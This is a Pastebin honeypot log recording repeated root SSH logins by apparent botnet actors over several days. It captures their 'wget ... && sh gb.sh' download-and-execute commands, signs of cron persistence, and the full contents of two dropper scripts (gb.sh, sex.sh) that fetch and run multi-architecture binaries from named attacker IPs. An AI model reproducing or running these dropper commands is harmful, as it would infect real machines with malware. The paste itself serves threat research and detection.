API tools faq
paste
Deltik

[HONEYPOT] 92.222.194.90 :: "gb.sh" downloader

Deltik
Jun 25th, 2015
493
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.25 KB | None | 0 0
raw download clone embed print report
  1. First attempt
  2. Jun 22 06:30:13 localhost sshd[15760]: Accepted password for root from 92.222.194.90 port 37648 ssh2
  3. Jun 22 06:30:13 localhost sshd[15760]: pam_unix(sshd:session): session opened for user root by (uid=0)
  4. Jun 22 06:30:13 localhost snoopy[15764]: [uid:0 sid:15764 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  5. Jun 22 06:30:13 localhost snoopy[15766]: [uid:0 sid:15764 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  6. Jun 22 06:30:13 localhost snoopy[15768]: [uid:0 sid:15764 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  7. Jun 22 06:30:13 localhost snoopy[15769]: [uid:0 sid:15764 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  8. Jun 22 06:30:24 localhost sshd[15760]: pam_unix(sshd:session): session closed for user root
  9.  
  10. Second attempt
  11. Jun 22 06:44:34 localhost sshd[18392]: Accepted password for root from 92.222.194.90 port 50529 ssh2
  12. Jun 22 06:44:34 localhost sshd[18392]: pam_unix(sshd:session): session opened for user root by (uid=0)
  13. Jun 22 06:44:35 localhost snoopy[18411]: [uid:0 sid:18411 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  14. Jun 22 06:44:35 localhost snoopy[18413]: [uid:0 sid:18411 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  15. Jun 22 06:44:35 localhost snoopy[18415]: [uid:0 sid:18411 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  16. Jun 22 06:44:35 localhost snoopy[18416]: [uid:0 sid:18411 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  17. Jun 22 06:44:45 localhost sshd[18392]: pam_unix(sshd:session): session closed for user root
  18.  
  19. Third attempt
  20. Jun 22 08:47:46 localhost sshd[8786]: Accepted password for root from 92.222.194.90 port 57726 ssh2
  21. Jun 22 08:47:46 localhost sshd[8786]: pam_unix(sshd:session): session opened for user root by (uid=0)
  22. Jun 22 08:47:46 localhost snoopy[8790]: [uid:0 sid:8790 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  23. Jun 22 08:47:46 localhost snoopy[8792]: [uid:0 sid:8790 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  24. Jun 22 08:47:46 localhost snoopy[8794]: [uid:0 sid:8790 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  25. Jun 22 08:47:46 localhost snoopy[8795]: [uid:0 sid:8790 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  26. Jun 22 08:47:57 localhost sshd[8786]: pam_unix(sshd:session): session closed for user root
  27.  
  28. Fourth attempt
  29. Jun 22 09:01:45 localhost sshd[11395]: Accepted password for root from 92.222.194.90 port 42702 ssh2
  30. Jun 22 09:01:45 localhost sshd[11395]: pam_unix(sshd:session): session opened for user root by (uid=0)
  31. Jun 22 09:01:45 localhost snoopy[11399]: [uid:0 sid:11399 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  32. Jun 22 09:01:45 localhost snoopy[11401]: [uid:0 sid:11399 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  33. Jun 22 09:01:45 localhost snoopy[11403]: [uid:0 sid:11399 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  34. Jun 22 09:01:45 localhost snoopy[11404]: [uid:0 sid:11399 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  35. Jun 22 09:01:55 localhost sshd[11395]: pam_unix(sshd:session): session closed for user root
  36.  
  37. Fifth attempt
  38. Jun 22 14:33:16 localhost sshd[8045]: Accepted password for root from 92.222.194.90 port 51762 ssh2
  39. Jun 22 14:33:16 localhost sshd[8045]: pam_unix(sshd:session): session opened for user root by (uid=0)
  40. Jun 22 14:33:16 localhost snoopy[8049]: [uid:0 sid:8049 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  41. Jun 22 14:33:16 localhost snoopy[8051]: [uid:0 sid:8049 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  42. Jun 22 14:33:16 localhost snoopy[8053]: [uid:0 sid:8049 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  43. Jun 22 14:33:16 localhost snoopy[8054]: [uid:0 sid:8049 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  44. Jun 22 14:33:26 localhost sshd[8045]: pam_unix(sshd:session): session closed for user root
  45.  
  46. Sixth attempt
  47. Jun 22 17:07:19 localhost sshd[4123]: Invalid user admin from 117.255.235.10
  48. Jun 22 17:07:19 localhost sshd[4124]: input_userauth_request: invalid user admin
  49. Jun 22 17:07:20 localhost sshd[4123]: pam_unix(sshd:auth): check pass; user unknown
  50. Jun 22 17:07:20 localhost sshd[4123]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=117.255.235.10
  51. Jun 22 17:07:22 localhost sshd[4123]: Failed password for invalid user admin from 117.255.235.10 port 52173 ssh2
  52. Jun 22 17:07:36 localhost sshd[4123]: pam_unix(sshd:auth): check pass; user unknown
  53. Jun 22 17:07:38 localhost sshd[4123]: Failed password for invalid user admin from 117.255.235.10 port 52173 ssh2
  54. Jun 22 17:07:39 localhost sshd[4123]: pam_unix(sshd:auth): check pass; user unknown
  55. Jun 22 17:07:40 localhost snoopy[4200]: [uid:0 sid:4200 tty:(none) cwd:/ filename:/usr/sbin/sshd]: /usr/sbin/sshd -R
  56. Jun 22 17:07:41 localhost sshd[4123]: Failed password for invalid user admin from 117.255.235.10 port 52173 ssh2
  57. Jun 22 17:07:41 localhost snoopy[4202]: [uid:0 sid:4200 tty:(none) cwd:/ filename:/sbin/unix_chkpwd]: /sbin/unix_chkpwd root nonull
  58. Jun 22 17:07:41 localhost snoopy[4203]: [uid:0 sid:4200 tty:(none) cwd:/ filename:/sbin/unix_chkpwd]: /sbin/unix_chkpwd root chkexpiry
  59. Jun 22 17:07:41 localhost sshd[4200]: Accepted password for root from 92.222.194.90 port 59198 ssh2
  60. Jun 22 17:07:41 localhost sshd[4200]: pam_unix(sshd:session): session opened for user root by (uid=0)
  61. Jun 22 17:07:41 localhost snoopy[4204]: [uid:0 sid:4204 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  62. Jun 22 17:07:41 localhost snoopy[4206]: [uid:0 sid:4204 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  63. Jun 22 17:07:41 localhost snoopy[4208]: [uid:0 sid:4204 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  64. Jun 22 17:07:41 localhost snoopy[4209]: [uid:0 sid:4204 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  65. Jun 22 17:07:42 localhost sshd[4123]: pam_unix(sshd:auth): check pass; user unknown
  66. Jun 22 17:07:44 localhost sshd[4123]: Failed password for invalid user admin from 117.255.235.10 port 52173 ssh2
  67. Jun 22 17:07:45 localhost sshd[4123]: pam_unix(sshd:auth): check pass; user unknown
  68. Jun 22 17:07:48 localhost sshd[4123]: Failed password for invalid user admin from 117.255.235.10 port 52173 ssh2
  69. Jun 22 17:07:49 localhost sshd[4123]: pam_unix(sshd:auth): check pass; user unknown
  70. Jun 22 17:07:51 localhost sshd[4123]: Failed password for invalid user admin from 117.255.235.10 port 52173 ssh2
  71. Jun 22 17:07:51 localhost sshd[4124]: Disconnecting: Too many authentication failures for admin
  72. Jun 22 17:07:51 localhost sshd[4123]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=117.255.235.10
  73. Jun 22 17:07:51 localhost sshd[4123]: PAM service(sshd) ignoring max retries; 6 > 3
  74. Jun 22 17:07:52 localhost sshd[4200]: pam_unix(sshd:session): session closed for user root
  75.  
  76. Seventh attempt
  77. Jun 22 17:18:52 localhost sshd[6266]: Accepted password for root from 92.222.194.90 port 43925 ssh2
  78. Jun 22 17:18:52 localhost sshd[6266]: pam_unix(sshd:session): session opened for user root by (uid=0)
  79. Jun 22 17:18:52 localhost snoopy[6285]: [uid:0 sid:6285 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  80. Jun 22 17:18:52 localhost snoopy[6287]: [uid:0 sid:6285 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  81. Jun 22 17:18:52 localhost snoopy[6289]: [uid:0 sid:6285 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  82. Jun 22 17:18:52 localhost snoopy[6290]: [uid:0 sid:6285 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  83. Jun 22 17:19:02 localhost sshd[6266]: pam_unix(sshd:session): session closed for user root
  84.  
  85. Eighth attempt
  86. Jun 22 17:56:41 localhost sshd[13301]: Accepted password for root from 92.222.194.90 port 55834 ssh2
  87. Jun 22 17:56:41 localhost sshd[13301]: pam_unix(sshd:session): session opened for user root by (uid=0)
  88. Jun 22 17:56:42 localhost snoopy[13305]: [uid:0 sid:13305 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  89. Jun 22 17:56:42 localhost snoopy[13307]: [uid:0 sid:13305 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  90. Jun 22 17:56:42 localhost snoopy[13309]: [uid:0 sid:13305 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  91. Jun 22 17:56:42 localhost snoopy[13310]: [uid:0 sid:13305 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  92. Jun 22 17:56:52 localhost sshd[13301]: pam_unix(sshd:session): session closed for user root
  93.  
  94. Ninth attempt
  95. Jun 22 19:34:10 localhost sshd[31420]: Accepted password for root from 92.222.194.90 port 46192 ssh2
  96. Jun 22 19:34:10 localhost sshd[31420]: pam_unix(sshd:session): session opened for user root by (uid=0)
  97. Jun 22 19:34:11 localhost snoopy[31424]: [uid:0 sid:31424 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  98. Jun 22 19:34:11 localhost snoopy[31426]: [uid:0 sid:31424 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  99. Jun 22 19:34:11 localhost snoopy[31428]: [uid:0 sid:31424 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  100. Jun 22 19:34:11 localhost snoopy[31429]: [uid:0 sid:31424 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  101. Jun 22 19:34:21 localhost sshd[31420]: pam_unix(sshd:session): session closed for user root
  102.  
  103. Tenth attempt
  104. Jun 22 19:51:47 localhost sshd[2219]: Accepted password for root from 92.222.194.90 port 33027 ssh2
  105. Jun 22 19:51:47 localhost sshd[2219]: pam_unix(sshd:session): session opened for user root by (uid=0)
  106. Jun 22 19:51:48 localhost snoopy[2240]: [uid:0 sid:2240 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  107. Jun 22 19:51:48 localhost snoopy[2242]: [uid:0 sid:2240 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  108. Jun 22 19:51:48 localhost snoopy[2244]: [uid:0 sid:2240 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  109. Jun 22 19:51:48 localhost snoopy[2245]: [uid:0 sid:2240 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  110. Jun 22 19:51:49 localhost sshd[2221]: Invalid user pi from 218.26.8.27
  111. Jun 22 19:51:49 localhost sshd[2237]: input_userauth_request: invalid user pi
  112. Jun 22 19:51:49 localhost sshd[2221]: pam_unix(sshd:auth): check pass; user unknown
  113. Jun 22 19:51:49 localhost sshd[2221]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.26.8.27
  114. Jun 22 19:51:51 localhost sshd[2221]: Failed password for invalid user pi from 218.26.8.27 port 53386 ssh2
  115. Jun 22 19:51:51 localhost sshd[2237]: Received disconnect from 218.26.8.27: 11: Bye Bye
  116. Jun 22 19:51:52 localhost snoopy[2246]: [uid:0 sid:2246 tty:(none) cwd:/ filename:/usr/sbin/sshd]: /usr/sbin/sshd -R
  117. Jun 22 19:51:54 localhost sshd[2246]: Invalid user ubnt from 218.26.8.27
  118. Jun 22 19:51:54 localhost sshd[2262]: input_userauth_request: invalid user ubnt
  119. Jun 22 19:51:54 localhost sshd[2246]: pam_unix(sshd:auth): check pass; user unknown
  120. Jun 22 19:51:54 localhost sshd[2246]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.26.8.27
  121. Jun 22 19:51:56 localhost sshd[2246]: Failed password for invalid user ubnt from 218.26.8.27 port 53674 ssh2
  122. Jun 22 19:51:56 localhost sshd[2262]: Received disconnect from 218.26.8.27: 11: Bye Bye
  123. Jun 22 19:51:57 localhost snoopy[2263]: [uid:0 sid:2263 tty:(none) cwd:/ filename:/usr/sbin/sshd]: /usr/sbin/sshd -R
  124. Jun 22 19:51:58 localhost sshd[2219]: pam_unix(sshd:session): session closed for user root
  125.  
  126. Eleventh attempt
  127. Jun 23 08:32:14 localhost sshd[13534]: Accepted password for root from 92.222.194.90 port 47515 ssh2
  128. Jun 23 08:32:14 localhost sshd[13534]: pam_unix(sshd:session): session opened for user root by (uid=0)
  129. Jun 23 08:32:14 localhost snoopy[13553]: [uid:0 sid:13553 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  130. Jun 23 08:32:14 localhost snoopy[13555]: [uid:0 sid:13553 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  131. Jun 23 08:32:14 localhost snoopy[13557]: [uid:0 sid:13553 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  132. Jun 23 08:32:14 localhost snoopy[13558]: [uid:0 sid:13553 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  133. Jun 23 08:32:24 localhost sshd[13534]: pam_unix(sshd:session): session closed for user root
  134.  
  135. Twelfth attempt
  136. Jun 23 08:53:55 localhost sshd[17520]: Accepted password for root from 92.222.194.90 port 33496 ssh2
  137. Jun 23 08:53:55 localhost sshd[17520]: pam_unix(sshd:session): session opened for user root by (uid=0)
  138. Jun 23 08:53:56 localhost snoopy[17524]: [uid:0 sid:17524 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  139. Jun 23 08:53:56 localhost snoopy[17526]: [uid:0 sid:17524 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  140. Jun 23 08:53:56 localhost snoopy[17528]: [uid:0 sid:17524 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  141. Jun 23 08:53:56 localhost snoopy[17529]: [uid:0 sid:17524 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  142. Jun 23 08:54:01 localhost snoopy[17545]: [uid:0 sid:1079 tty:(none) cwd:/ filename:/sbin/unix_chkpwd]: /sbin/unix_chkpwd root chkexpiry
  143. Jun 23 08:54:01 localhost snoopy[17546]: [uid:0 sid:17546 tty:(none) cwd:/ filename:/etc/cron.hourly/gcc.sh]: /etc/cron.hourly/gcc.sh
  144. Jun 23 08:54:01 localhost snoopy[17550]: [uid:0 sid:17546 tty:(none) cwd:/ filename:/bin/awk]: awk -F: {print $1}
  145. Jun 23 08:54:01 localhost snoopy[17549]: [uid:0 sid:17546 tty:(none) cwd:/ filename:/bin/grep]: grep :
  146. Jun 23 08:54:01 localhost snoopy[17548]: [uid:0 sid:17546 tty:(none) cwd:/ filename:/bin/cat]: cat /proc/net/dev
  147. Jun 23 08:54:01 localhost snoopy[17553]: [uid:0 sid:17546 tty:(none) cwd:/ filename:/bin/cp]: cp /lib/libudev.so /lib/libudev.so.6
  148. Jun 23 08:54:01 localhost snoopy[17552]: [uid:0 sid:17546 tty:(none) cwd:/ filename:/sbin/ifconfig]: ifconfig eth0 up
  149. Jun 23 08:54:01 localhost snoopy[17551]: [uid:0 sid:17546 tty:(none) cwd:/ filename:/sbin/ifconfig]: ifconfig lo up
  150. Jun 23 08:54:01 localhost snoopy[17554]: [uid:0 sid:17546 tty:(none) cwd:/ filename:/lib/libudev.so.6]: /lib/libudev.so.6
  151. Jun 23 08:54:06 localhost sshd[17520]: pam_unix(sshd:session): session closed for user root
  152.  
  153. Thirteenth attempt
  154. Jun 23 10:50:05 localhost sshd[6584]: Accepted password for root from 92.222.194.90 port 45487 ssh2
  155. Jun 23 10:50:06 localhost sshd[6584]: pam_unix(sshd:session): session opened for user root by (uid=0)
  156. Jun 23 10:50:06 localhost snoopy[6603]: [uid:0 sid:6603 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  157. Jun 23 10:50:06 localhost snoopy[6605]: [uid:0 sid:6603 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  158. Jun 23 10:50:06 localhost snoopy[6607]: [uid:0 sid:6603 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  159. Jun 23 10:50:06 localhost snoopy[6608]: [uid:0 sid:6603 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  160. Jun 23 10:50:16 localhost sshd[6584]: pam_unix(sshd:session): session closed for user root
  161.  
  162. Fourteenth attempt
  163. Jun 23 11:08:41 localhost sshd[10046]: Accepted password for root from 92.222.194.90 port 60188 ssh2
  164. Jun 23 11:08:41 localhost sshd[10046]: pam_unix(sshd:session): session opened for user root by (uid=0)
  165. Jun 23 11:08:41 localhost snoopy[10050]: [uid:0 sid:10050 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  166. Jun 23 11:08:41 localhost snoopy[10052]: [uid:0 sid:10050 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  167. Jun 23 11:08:41 localhost snoopy[10054]: [uid:0 sid:10050 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  168. Jun 23 11:08:41 localhost snoopy[10055]: [uid:0 sid:10050 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  169. Jun 23 11:08:52 localhost sshd[10046]: pam_unix(sshd:session): session closed for user root
  170.  
  171. Fifteenth attempt
  172. Jun 23 17:43:34 localhost sshd[18332]: Accepted password for root from 92.222.194.90 port 45243 ssh2
  173. Jun 23 17:43:34 localhost sshd[18332]: pam_unix(sshd:session): session opened for user root by (uid=0)
  174. Jun 23 17:43:35 localhost snoopy[18336]: [uid:0 sid:18336 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  175. Jun 23 17:43:35 localhost snoopy[18338]: [uid:0 sid:18336 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  176. Jun 23 17:43:35 localhost snoopy[18340]: [uid:0 sid:18336 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  177. Jun 23 17:43:35 localhost snoopy[18341]: [uid:0 sid:18336 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  178. Jun 23 17:43:45 localhost sshd[18332]: pam_unix(sshd:session): session closed for user root
  179.  
  180. Sixteenth attempt (from a different IP address)
  181. Jun 24 12:24:08 localhost sshd[1293]: Accepted password for root from 185.11.144.188 port 48126 ssh2
  182. Jun 24 12:24:08 localhost sshd[1293]: pam_unix(sshd:session): session opened for user root by (uid=0)
  183. Jun 24 12:24:08 localhost snoopy[1297]: [uid:0 sid:1297 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://185.11.144.188/gb.sh && sh gb.sh && rm -rf gb.sh
  184. Jun 24 12:24:08 localhost snoopy[1299]: [uid:0 sid:1297 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  185. Jun 24 12:24:08 localhost snoopy[1301]: [uid:0 sid:1297 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  186. Jun 24 12:24:08 localhost snoopy[1302]: [uid:0 sid:1297 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://185.11.144.188/gb.sh
  187. Jun 24 12:24:19 localhost sshd[1293]: pam_unix(sshd:session): session closed for user root
  188.  
  189. Seventeenth attempt
  190. Jun 24 16:38:09 localhost sshd[15982]: Accepted password for root from 92.222.194.90 port 49480 ssh2
  191. Jun 24 16:38:09 localhost sshd[15982]: pam_unix(sshd:session): session opened for user root by (uid=0)
  192. Jun 24 16:38:09 localhost snoopy[15986]: [uid:0 sid:15986 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  193. Jun 24 16:38:09 localhost snoopy[15988]: [uid:0 sid:15986 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  194. Jun 24 16:38:09 localhost snoopy[15990]: [uid:0 sid:15986 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  195. Jun 24 16:38:09 localhost snoopy[15991]: [uid:0 sid:15986 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  196. Jun 24 16:38:20 localhost sshd[15982]: pam_unix(sshd:session): session closed for user root
  197.  
  198. Eighteenth attempt
  199. Jun 24 18:45:04 localhost sshd[7171]: Accepted password for root from 92.222.194.90 port 46531 ssh2
  200. Jun 24 18:45:04 localhost sshd[7171]: pam_unix(sshd:session): session opened for user root by (uid=0)
  201. Jun 24 18:45:04 localhost snoopy[7175]: [uid:0 sid:7175 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  202. Jun 24 18:45:04 localhost snoopy[7177]: [uid:0 sid:7175 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  203. Jun 24 18:45:04 localhost snoopy[7179]: [uid:0 sid:7175 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  204. Jun 24 18:45:04 localhost snoopy[7180]: [uid:0 sid:7175 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  205. Jun 24 18:45:15 localhost sshd[7171]: pam_unix(sshd:session): session closed for user root
  206.  
  207. Ninteenth attempt (variant rootkit)
  208. Jun 24 19:30:45 localhost sshd[15696]: Accepted password for root from 93.174.93.149 port 34958 ssh2
  209. Jun 24 19:30:45 localhost sshd[15696]: pam_unix(sshd:session): session opened for user root by (uid=0)
  210. Jun 24 19:30:45 localhost snoopy[15700]: [uid:0 sid:15700 tty:(none) cwd:/root filename:/bin/bash]: bash -c rm -rf sex.sh && cd /var/run && wget http://167.114.210.104/sex.sh && sh sex.sh && rm -rf sex.sh
  211. Jun 24 19:30:45 localhost snoopy[15702]: [uid:0 sid:15700 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  212. Jun 24 19:30:45 localhost snoopy[15704]: [uid:0 sid:15700 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  213. Jun 24 19:30:45 localhost snoopy[15705]: [uid:0 sid:15700 tty:(none) cwd:/root filename:/bin/rm]: rm -rf sex.sh
  214. Jun 24 19:30:45 localhost snoopy[15706]: [uid:0 sid:15700 tty:(none) cwd:/var/run filename:/usr/bin/wget]: wget http://167.114.210.104/sex.sh
  215. Jun 24 19:30:55 localhost sshd[15696]: pam_unix(sshd:session): session closed for user root
  216.  
  217. Twentieth attempt
  218. Jun 24 20:57:46 localhost sshd[31754]: Accepted password for root from 92.222.194.90 port 50630 ssh2
  219. Jun 24 20:57:46 localhost sshd[31754]: pam_unix(sshd:session): session opened for user root by (uid=0)
  220. Jun 24 20:57:46 localhost snoopy[31758]: [uid:0 sid:31758 tty:(none) cwd:/root filename:/bin/bash]: bash -c cd /tmp && wget http://92.222.194.90/gb.sh && sh gb.sh && rm -rf gb.sh
  221. Jun 24 20:57:46 localhost snoopy[31760]: [uid:0 sid:31758 tty:(none) cwd:/root filename:/sbin/consoletype]: /sbin/consoletype stdout
  222. Jun 24 20:57:46 localhost snoopy[31762]: [uid:0 sid:31758 tty:(none) cwd:/root filename:/usr/bin/id]: /usr/bin/id -u
  223. Jun 24 20:57:46 localhost snoopy[31763]: [uid:0 sid:31758 tty:(none) cwd:/tmp filename:/usr/bin/wget]: wget http://92.222.194.90/gb.sh
  224. Jun 24 20:57:56 localhost sshd[31754]: pam_unix(sshd:session): session closed for user root
  225.  
  226. Contents of "gb.sh"
  227. #!/bin/sh
  228.  
  229. wget -c http://92.222.194.90/armv5l -P /var/run && chmod +x /var/run/armv5l && /var/run/armv5l
  230. wget -c http://92.222.194.90/mips -P /var/run && chmod +x /var/run/mips && /var/run/mips
  231. wget -c http://92.222.194.90/mipsel -P /var/run && chmod +x /var/run/mipsel && /var/run/mipsel
  232. wget -c http://92.222.194.90/powerpc -P /var/run && chmod +x /var/run/powerpc && /var/run/powerpc
  233. wget -c http://92.222.194.90/sh4 -P /var/run && chmod +x /var/run/sh4 && /var/run/sh4
  234. wget -c http://92.222.194.90/x86_64 -P /var/run && chmod +x /var/run/x86_64 && /var/run/x86_64
  235.  
  236. sleep 3;
  237. rm -fr /var/run/gb.sh
  238.  
  239. Contents of "sex.sh"
  240. wget -c http://167.114.210.104/anus -P /var/run && chmod +x /var/run/anus && /var/run/anus
  241. wget -c http://167.114.210.104/balls -P /var/run && chmod +x /var/run/balls && /var/run/balls
  242. wget -c http://167.114.210.104/cock -P /var/run && chmod +x /var/run/cock && /var/run/cock
  243. wget -c http://167.114.210.104/nuts -P /var/run && chmod +x /var/run/nuts && /var/run/nuts
  244. wget -c http://167.114.210.104/penis -P /var/run && chmod +x /var/run/penis && /var/run/penis
  245. wget -c http://167.114.210.104/vagina -P /var/run && chmod +x /var/run/vagina && /var/run/vagina
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!